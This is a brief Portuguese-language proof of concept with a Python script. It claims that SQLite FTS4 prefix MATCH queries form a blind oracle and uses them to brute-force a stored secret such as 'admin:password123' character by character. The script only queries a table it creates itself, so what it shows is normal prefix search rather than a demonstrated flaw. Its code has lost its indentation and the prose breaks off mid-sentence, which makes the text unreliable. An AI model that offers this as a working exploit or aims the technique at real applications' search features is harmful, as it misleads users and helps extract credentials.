
Prova de conceito de exploit para CVE-2026-21004: usa consultas de prefixo MATCH FTS3/4 do SQLite criadas sob medida como um oráculo cego para recuperar dados secretos indexados caractere por caractere.
# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3
conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")
# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
query = f'SELECT * FROM secrets WHERE content MATCH ?'
# In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
try:
cur = conn.execute(query, (f'"{prefix}{c}*"',))
if cur.fetchone():
return c
except:
pass
return None
# Recover the secret character by character
prefix = ""
for _ in range(20):
c = guess_char(prefix, "")
if c is None: break
prefix += c
print(f"Recovered: {prefix}")
Um aplicativo que usa SQLite FTS4 expõe uma função de busca que retorna resultados com base em uma consulta MATCH. Ao observar se ocorre uma correspondência (ou diferenças de tempo), um atacante pode realizar um ataque de força bruta no conteúdo do índice de texto completo, caractere por caractere, extraindo dados confidenciais.
term*), permitindo que um atacante execute um ataque de dicionário sem conhecer o termo completo.Execute o exploit:
python sqlite_fts_leak.py
O script recupera progressivamente o conteúdo da tabela secrets.